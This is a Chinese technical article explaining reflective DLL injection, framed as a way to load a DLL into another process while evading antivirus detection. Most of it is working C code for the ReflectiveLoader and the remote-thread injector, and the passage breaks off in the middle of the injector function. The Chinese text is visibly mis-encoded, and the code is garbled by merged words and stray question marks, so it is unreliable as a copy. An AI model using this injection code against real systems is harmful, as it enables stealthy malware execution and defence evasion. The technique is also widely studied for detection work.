本期作者/shadow
在之前的文章中,通過模擬 Windows 映像加載程序的功能,完全從內(nèi)存中加載 DLL 模塊,而無(wú)需將 DLL 存儲(chǔ)到磁盤上,但這只能從本地進(jìn)程中加載進(jìn)內(nèi)存中,如果想要在目標(biāo)進(jìn)程中通過內(nèi)存加載 DLL 模塊,可以通過一些 I/O 操作將所需的代碼寫入目標(biāo)進(jìn)程,但這大量的 I/O 操作對(duì)病毒引擎來(lái)說(shuō)過于敏感,還有一個(gè)思路就是編寫一段引導(dǎo)程序,這段引導(dǎo)程序用來(lái)模擬 Windows 映像加載程序的功能加載所需 DLL 模塊,這就是本文所描述的技術(shù),反射 DLL 注入。當(dāng)然,還有一些其它的方法通過可以完成這樣的需求,比如一些 PE 注入技術(shù),進(jìn)程鏤空,進(jìn)程重影等。
反射 DLL 注入
在理解其原理之前,需要知道什么是反射 DLL,反射 DLL 是一個(gè)特殊的 DLL 程序,其擁有一個(gè) PE 加載程序的引導(dǎo)程序,這個(gè)引導(dǎo)程序被作為一個(gè)導(dǎo)出函數(shù)導(dǎo)出,一旦目標(biāo)進(jìn)程調(diào)用此導(dǎo)出函數(shù),它將模擬 Windows 映像加載程序的功能,將 DLL 自身加載到內(nèi)存中執(zhí)行。
需要說(shuō)明的是,必須保證這個(gè)特殊的導(dǎo)出函數(shù)中的代碼是位置無(wú)關(guān)的,也就是說(shuō),該導(dǎo)出函數(shù)內(nèi)部不能使用全局變量并且使用到的 WinAPI 必須通過在運(yùn)行時(shí)通過 API Hash 值比對(duì)獲取,不能使用全局變量是因?yàn)槠浔挥簿幋a到編譯后的二進(jìn)制文件中,這些值在鏈接的過程中被添加到一個(gè)名為 .reloc 的區(qū)段中,而在執(zhí)行這塊引導(dǎo)程序(導(dǎo)出函數(shù))的時(shí)候,注入到目標(biāo)進(jìn)程的 DLL 程序尚未被加載,因此無(wú)法進(jìn)程被 Windows 映像加載程序?qū)ζ鋱?zhí)行重定位,如果在導(dǎo)出函數(shù)中使用全局變量的值,這將是一個(gè)無(wú)效的值,同樣不能在函數(shù)內(nèi)部使用 WinAPI 是同樣的道理,在執(zhí)行導(dǎo)出函數(shù)的時(shí)候,DLL 的 IAT 尚未修復(fù),如果直接調(diào)用 WinAPI 將導(dǎo)致訪問沖突異常。下圖說(shuō)明了反射 DLL 注入的工作原理。
反射 DLL 的實(shí)現(xiàn)
反射 DLL 注入(ReflectiveDLLInjection)的 POC 最初是由Stephen Fewer 發(fā)布的,該 POC 由兩部分組成,一部分是反射 DLL 的實(shí)現(xiàn),該 DLL 存在一個(gè)特殊的導(dǎo)出函數(shù)名稱為 ReflectiveLoader,另一部分是反射 DLL 的注入器代碼。ReflectiveDLLInjection 其倉(cāng)庫(kù)地址為:https://github.com/stephenfewer/ReflectiveDLLInjection。
獲取 ReflectiveLoader所需的
WinAPI 地址
前面提到,ReflectiveLoader 這個(gè)特殊的導(dǎo)出函數(shù)需要在運(yùn)行時(shí)通過 API Hash 比對(duì)獲取使用到的導(dǎo)出函數(shù)地址,ReflectiveLoader 函數(shù)中使用到的 WinAPI 有:
LoadLibraryA
GetProcAddress
VirtualAlloc
NtFlushInstructionCache
//STEP 1: process the kernels exports forthe functions our loader needs... //get the Process Enviroment Block #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2) + 0x30); #endif #endif //get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx uiBaseAddress= (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; //get the first entry ofthe InMemoryOrder modulelist uiValueA= (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { //get pointer to current modules name (unicode string) uiValueB= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; //set bCounter to the length forthe loop usCounter= ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; //clear uiValueC which will store the hash ofthe modulename uiValueC = 0; //compute the hash ofthe modulename... do { uiValueC = ror( (DWORD)uiValueC ); //normalize to uppercase ifthe madule name isinlowercase if( *((BYTE *)uiValueB) >= 'a') uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); //compare the hash with that ofkernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { //get thismodules base address uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; //get the VA ofthe modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; //uiNameArray = the address ofthe modules exportdirectory entry uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; //get the VA ofthe exportdirectory uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // gettheVAforthearrayofnamepointers uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // gettheVAforthearrayofnameordinals uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter= 3; // loopwhilewestillhaveimportstofind while( usCounter > 0) { // computethehashvaluesforthisfunctionname dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // ifwehavefoundafunctionwewantwegetitsvirtualaddress if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // gettheVAforthearrayofaddresses uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // usethisfunctionsnameordinalasanindexintothearrayofnamepointers uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // storethisfunctionsVA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA= (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); elseif( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress= (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); elseif( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc= (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrementourcounter usCounter--; } // getthenextexportedfunctionname uiNameArray+= sizeof(DWORD); // getthenextexportedfunctionnameordinal uiNameOrdinals+= sizeof(WORD); } } elseif( (DWORD)uiValueC == NTDLLDLL_HASH ) { // getthismodulesbaseaddress uiBaseAddress= (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; //get the VA ofthe modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; //uiNameArray = the address ofthe modules exportdirectory entry uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; //get the VA ofthe exportdirectory uiExportDir= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // gettheVAforthearrayofnamepointers uiNameArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // gettheVAforthearrayofnameordinals uiNameOrdinals= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter= 1; // loopwhilewestillhaveimportstofind while( usCounter > 0) { // computethehashvaluesforthisfunctionname dwHashValue= hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // ifwehavefoundafunctionwewantwegetitsvirtualaddress if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // gettheVAforthearrayofaddresses uiAddressArray= ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // usethisfunctionsnameordinalasanindexintothearrayofnamepointers uiAddressArray+= ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // storethisfunctionsVA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache= (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrementourcounter usCounter--; } // getthenextexportedfunctionname uiNameArray+= sizeof(DWORD); // getthenextexportedfunctionnameordinal uiNameOrdinals+= sizeof(WORD); } } // westopsearchingwhenwehavefoundeverythingweneed. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break; // getthenextentry uiValueA= DEREF( uiValueA ); }
定位反射 DLL 的基址
在獲取 ReflectiveLoader 所需的 WinAPI 的地址后,接下來(lái)就是定位反射 DLL 的基址,也就是注入程序?qū)⒎瓷?DLL 寫入目標(biāo)進(jìn)程空間中的位置,實(shí)現(xiàn)這個(gè)過程有兩種思路:
方法一:暴力檢索目標(biāo)進(jìn)程中反射 DLL 的地址。
方法二:通過將 DLL 在目標(biāo)進(jìn)程中的基址通過參數(shù)形式傳遞給 ReflectiveLoader 函數(shù)。
方式二實(shí)現(xiàn)較為簡(jiǎn)單,就是在將反射 DLL 寫入目標(biāo)進(jìn)程的過程中傳遞分配的地址給 ReflectiveLoader 函數(shù),因?yàn)樵趯懭敕瓷?DLL 的過程中知道其在目標(biāo)進(jìn)程空間中的地址,方式一則是根據(jù) PE 文件的頭部特征進(jìn)行定位,從 ReflectiveLoader 函數(shù)當(dāng)前指令位置,不斷向 DLL 頭部進(jìn)行檢索(由于 ReflectiveLoader 函數(shù)必定在反射 DLL 中 PE 頭部的下方),從而在目標(biāo)進(jìn)程中找到反射的 DLL 的基址。下面的代碼利用暴力檢索去定位反射 DLL 的基址。
// STEP 0: calculate our images current base address // we will start searching backwards from our callers return address. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE) { if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024?) ????????{ ????????????uiHeaderValue += uiLibraryAddress; ????????????// break if we have found a valid MZ/PE header ????????????if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; }
其中 caller() 函數(shù)就是獲取當(dāng)前將要執(zhí)行的指令地址:
#pragmaintrinsic( _ReturnAddress ) // This function can not be inlined by the compiler or we will not get the address we expect. Ideally // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics // available (and no inline asm available under x64). __declspec(noinline) ULONG_PTRcaller( VOID ) { return(ULONG_PTR)_ReturnAddress(); }
加載反射 DLL
到此已經(jīng)完成了基本的準(zhǔn)備工作,隨后便可以加載注入到目標(biāo)進(jìn)程的反射 DLL,這個(gè)過程將模擬 Windows 鏡像加載程序從而將反射 DLL 自身加載到目標(biāo)進(jìn)程內(nèi)存中并執(zhí)行。
這個(gè)加載過程如下:
首先分配足夠的內(nèi)存來(lái)保存反射 DLL 文件。
將反射 DLL 的 PE 頭部和節(jié)區(qū)復(fù)制到分配的空間中。(可以不用復(fù)制 PE 頭部以降低內(nèi)存中特征的幾率)。
修復(fù)反射 DLL 的基址重定位。
修復(fù)反射 DLL 的 IAT。
執(zhí)行反射 DLL 的入口點(diǎn)代碼(DllMain)。
//STEP 2: load our image into a newpermanent location inmemory... //get the VA ofthe NT Header forthe PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; //allocate all the memory forthe DLL to be loaded into. we can load at any address because we will //relocate the image. Also zeros all memory andmarks it asREAD, WRITE andEXECUTE to avoid any problems. uiBaseAddress= (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // wemustnowcopyovertheheaders uiValueA= ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; //STEP 3: load inall ofour sections... //uiValueA = the VA ofthe first section uiValueA= ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); // itteratethroughallsections, loadingthemintomemory. uiValueE= ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { //uiValueB isthe VA forthissection uiValueB= ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); // uiValueCiftheVAforthissectionsdata uiValueC= ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); // copythesectionover uiValueD= ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; //get the VA ofthe next section uiValueA += sizeof( IMAGE_SECTION_HEADER ); } //STEP 4: process our images importtable... //uiValueB = the address ofthe importdirectory uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; //we assume their isan importtable to process //uiValueC isthe first entry inthe importtable uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // itteratethroughallimports while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // useLoadLibraryAtoloadtheimportedmoduleintomemory uiLibraryAddress= (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); // uiValueD= VAoftheOriginalFirstThunk uiValueD= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); // uiValueA= VAoftheIAT(via first thunk notorigionalfirstthunk) uiValueA= ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); // itteratethroughallimportedfunctions, importingbyordinalifnonamepresent while( DEREF(uiValueA) ) { // sanitycheckuiValueDassomecompilersonlyimportbyFirstThunk if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // gettheVAofthemodulesNTHeader uiExportDir= uiLibraryAddress+ ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; //uiNameArray = the address ofthe modules exportdirectory entry uiNameArray= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; //get the VA ofthe exportdirectory uiExportDir= ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // gettheVAforthearrayofaddresses uiAddressArray= ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // usetheimportordinal(- exportordinal base)asanindexintothearrayofaddresses uiAddressArray+= ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); // patchintheaddressforthisimportedfunction DEREF(uiValueA)= ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // gettheVAofthisfunctionsimportbynamestruct uiValueB= ( uiBaseAddress + DEREF(uiValueA) ); // useGetProcAddressandpatchintheaddressforthisimportedfunction DEREF(uiValueA)= (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // getthenextimportedfunction uiValueA+= sizeof( ULONG_PTR ); if( uiValueD ) uiValueD+= sizeof( ULONG_PTR ); } // getthenextimport uiValueC+= sizeof( IMAGE_IMPORT_DESCRIPTOR ); } // STEP5: processallofourimagesrelocations... // calculatethebaseaddressdeltaandperformrelocations(even ifwe load at desired image base) uiLibraryAddress= uiBaseAddress- ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; //uiValueB = the address ofthe relocation directory uiValueB= (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; //check iftheir are any relocations present if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { //uiValueC isnow the first entry (IMAGE_BASE_RELOCATION) uiValueC= ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // andweitteratethroughallentries... while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA= theVAforthisrelocationblock uiValueA= ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); // uiValueB= numberofentriesinthisrelocationblock uiValueB= ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) )/ sizeof( IMAGE_RELOC ); // uiValueDisnowthefirstentryinthecurrentrelocationblock uiValueD= uiValueC+ sizeof(IMAGE_BASE_RELOCATION); // weitteratethroughalltheentriesinthecurrentblock... while( uiValueB-- ) { // performtherelocation, skippingIMAGE_REL_BASED_ABSOLUTEasrequired. // wedontuseaswitchstatementtoavoidthecompilerbuildingajumptable // whichwouldnotbeverypositionindependent! if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= uiLibraryAddress; elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= (DWORD)uiLibraryAddress; #ifdefWIN_ARM // Note: OnARM, thecompileroptimization/O2seemstointroduceanoffbyoneissue, possiblyacodegenbug. Using/O1insteadavoidsthisproblem. elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) { registerDWORDdwInstruction; registerDWORDdwAddress; registerWORDwImm; // gettheMOV.TinstructionsDWORDvalue(We add 4to the offset to go past the first MOV.W which handles the low word) dwInstruction= *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); // flipthewordstogettheinstructionasexpected dwInstruction= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); // sanitychackweareprocessingaMOVinstruction... if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) { // pullouttheencoded16bitvalue(the high portion ofthe address-to-relocate) wImm= (WORD)( dwInstruction & 0x000000FF); wImm|= (WORD)((dwInstruction & 0x00007000) >> 4); wImm|= (WORD)((dwInstruction & 0x04000000) >> 15); wImm|= (WORD)((dwInstruction & 0x000F0000) >> 4); // applytherelocationtothetargetaddress dwAddress= ( (WORD)HIWORD(uiLibraryAddress) + wImm )& 0xFFFF; // nowcreateanewinstructionwiththesameopcodeandregisterparam. dwInstruction= (DWORD)( dwInstruction & ARM_MOV_MASK2 ); // patchintherelocatedaddress... dwInstruction|= (DWORD)(dwAddress & 0x00FF); dwInstruction|= (DWORD)(dwAddress & 0x0700)<< 4; ????????????dwInstruction?|= (DWORD)(dwAddress & 0x0800)?<< 15; ????????????dwInstruction?|= (DWORD)(dwAddress & 0xF000)?<< 4; ????????????// now?flip?the?instructions?words?and?patch?back?into?the?code... ????????????*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) )= MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); } } #endif elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= HIWORD(uiLibraryAddress); elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset)+= LOWORD(uiLibraryAddress); // getthenextentryinthecurrentrelocationblock uiValueD+= sizeof( IMAGE_RELOC ); } // getthenextentryintherelocationdirectory uiValueC= uiValueC+ ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } //STEP 6: call our images entry point //uiValueA = the VA ofour newly loaded DLL/EXE's entry point uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA;
其中需要注意的是,在執(zhí)行 DllMain 入口函數(shù)之前,需要調(diào)用 NtFlushInstructionCache 函數(shù)去清除整個(gè)進(jìn)程中的指令緩存,避免由于緩存使用重定位之前的代碼。
還有一些補(bǔ)充的東西,比如設(shè)置節(jié)區(qū)的權(quán)限,針對(duì)反射 DLL 這個(gè) PE 文件中如果存在異常處理程序,和 TLS 回調(diào)函數(shù),這些需要去針對(duì)處理,這些內(nèi)容在 PE 自注入文章中提及,可參考對(duì)其進(jìn)行補(bǔ)充。
反射 DLL 注入器實(shí)現(xiàn)
在反射 DLL 實(shí)現(xiàn)后,需要編寫一個(gè)反射 DLL 的注入程序?qū)⒎瓷?DLL 注入到目標(biāo)進(jìn)程中,在這個(gè)注入器中,將獲取反射 DLL 的導(dǎo)出函數(shù) ReflectiveLoader 在目標(biāo)進(jìn)程中的地址進(jìn)行遠(yuǎn)程調(diào)用。
獲取 ReflectiveLoader 函數(shù)的地址
獲取 ReflectiveLoader 導(dǎo)出函數(shù)的地址,通過一個(gè)名為 GetReflectiveLoaderOffset 的函數(shù)實(shí)現(xiàn),該函數(shù)通過解析寫入目標(biāo)進(jìn)程的反射 DLL 的導(dǎo)出表來(lái)獲取 ReflectiveLoader 這個(gè)導(dǎo)出函數(shù)的地址。
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) { UINT_PTRuiBaseAddress = 0; UINT_PTRuiExportDir = 0; UINT_PTRuiNameArray = 0; UINT_PTRuiAddressArray = 0; UINT_PTRuiNameOrdinals = 0; DWORD dwCounter = 0; #ifdef WIN_X64 DWORD dwCompiledArch = 2; #else // This will catch Win32 and WinRT. DWORD dwCompiledArch = 1; #endif uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; // get the File Offset of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // currenlty we can only process a PE file which is the same type as the one this fuction has // been compiled as, due to various offset in the PE structures being defined at compile time. if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32 { if( dwCompiledArch != 1) return0; } elseif( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64 { if( dwCompiledArch != 2) return0; } else { return0; } // uiNameArray = the address of the modules export directory entry uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the File Offset of the export directory uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); // get the File Offset for the array of name pointers uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); // get the File Offset for the array of addresses uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); // get the File Offset for the array of name ordinals uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); // get a counter for the number of exported functions... dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; // loop through all the exported functions to find the ReflectiveLoader while( dwCounter-- ) { char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); if( strstr( cpExportedFunctionName, "ReflectiveLoader") != NULL) { // get the File Offset for the array of addresses uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); // use the functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // return the File Offset to the ReflectiveLoader() functions code... returnRva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } return0; }
其中 Rva2Offset 函數(shù)是將某數(shù)據(jù)的 RVA 轉(zhuǎn)換為該數(shù)據(jù)在文件中的偏移量(FOA),具體轉(zhuǎn)換公式為:
某數(shù)據(jù)的FOA=該數(shù)據(jù)的RVA?(該數(shù)據(jù)所在節(jié)的起始RVA–該數(shù)據(jù)所在節(jié)的起始FOA)
Rva2Offset 的代碼如下,該函數(shù)將給定數(shù)據(jù)的 RVA 轉(zhuǎn)換為對(duì)應(yīng)的文件偏移量。
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) { WORD wIndex = 0; PIMAGE_SECTION_HEADER pSectionHeader = NULL; PIMAGE_NT_HEADERS pNtHeaders = NULL; pNtHeaders= (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); pSectionHeader= (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); if( dwRva < pSectionHeader[0].PointerToRawData ) ????????return?dwRva; ????for( wIndex=0?; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) { if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )??????????? ???????????return?( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); ????} ???? ????return?0; }
執(zhí)行 ReflectiveLoader 函數(shù)
要想將反射 DLL 被加載執(zhí)行,那么就需要執(zhí)行其導(dǎo)出函數(shù) ReflectiveLoader,在前面已經(jīng)通過解析反射 DLL 獲取到了 ReflectiveLoader 這個(gè)導(dǎo)出函數(shù)的地址,接下來(lái)就是執(zhí)行它了。
在目標(biāo)進(jìn)程中執(zhí)行 ReflectiveLoader 函數(shù),首先需要將反射 DLL 寫入到目標(biāo)進(jìn)程中,通過使用 VirtualAllocEx 函數(shù)在目標(biāo)進(jìn)程中開辟內(nèi)存空間并寫入反射 DLL 內(nèi)容,之后通過 CreateRemoteThread 函數(shù)在目標(biāo)進(jìn)程創(chuàng)建一個(gè)線程執(zhí)行 ReflectiveLoader 函數(shù),這叫導(dǎo)致反射 DLL 被加載執(zhí)行。
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ){ BOOLbSuccess = FALSE; LPVOID lpRemoteLibraryBuffer = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; HANDLE hThread = NULL; DWORD dwReflectiveLoaderOffset = 0; DWORD dwThreadId = 0; __try { do{ if( !hProcess || !lpBuffer || !dwLength ) break; // check if the library has a ReflectiveLoader... dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); if( !dwReflectiveLoaderOffset ) break; // alloc memory (RWX) in the host process for the image... lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if( !lpRemoteLibraryBuffer ) break; // write the image into the host process... if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) break; // add the offset to ReflectiveLoader() to the remote library address... lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset 